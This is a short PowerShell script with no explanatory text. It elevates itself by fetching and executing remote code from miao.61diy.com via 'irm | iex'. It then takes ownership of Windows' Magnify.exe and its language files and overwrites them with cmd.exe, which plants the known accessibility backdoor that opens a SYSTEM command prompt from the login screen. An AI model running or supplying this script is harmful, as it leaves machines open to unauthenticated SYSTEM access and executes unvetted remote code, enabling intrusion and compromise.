$isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) if (-not $isAdmin) { Write-Host "Requesting administrator privileges..." Start-Process -FilePath "powershell.exe" -Verb RunAs -ArgumentList ( "-NoProfile -ExecutionPolicy Bypass `"irm https://miao.61diy.com | iex`"" ) exit } $sysDir = "$env:windir\System32" $magnifyExe = "$sysDir\Magnify.exe" $cmdExe = "$sysDir\cmd.exe" try { Write-Host "Processing Main executable..." Start-Process -FilePath "takeown.exe" -ArgumentList "/f `"$magnifyExe`"" -NoNewWindow -Wait Start-Process -FilePath "icacls.exe" -ArgumentList "`"$magnifyExe`" /grant:r *S-1-5-32-544:F" -NoNewWindow -Wait Start-Process -FilePath "icacls.exe" -ArgumentList "`"$magnifyExe`" /grant:r *S-1-5-18:F" -NoNewWindow -Wait Remove-Item -Path $magnifyExe -Force Copy-Item -Path $cmdExe -Destination $magnifyExe -Force Write-Host "Main executable replaced successfully" foreach ($lang in @("zh-CN", "en-US")) { $langDir = "$sysDir\$lang" $magnifyMui = "$langDir\Magnify.exe.mui" $cmdMui = "$langDir\cmd.exe.mui" if (Test-Path $cmdMui) { Write-Host "Processing $lang language pack..." Start-Process -FilePath "takeown.exe" -ArgumentList "/f `"$magnifyMui`"" -NoNewWindow -Wait Start-Process -FilePath "icacls.exe" -ArgumentList "`"$magnifyMui`" /grant:r *S-1-5-32-544:F" -NoNewWindow -Wait Start-Process -FilePath "icacls.exe" -ArgumentList "`"$magnifyMui`" /grant:r *S-1-5-18:F" -NoNewWindow -Wait Remove-Item -Path $magnifyMui -Force -ErrorAction SilentlyContinue Copy-Item -Path $cmdMui -Destination $magnifyMui -Force Write-Host "$lang language pack replaced" } else { Write-Host "Skipping $lang - cmd.exe.mui not found" } } } catch { Write-Host "ERROR: $_" -ForegroundColor Red pause exit 1 } exit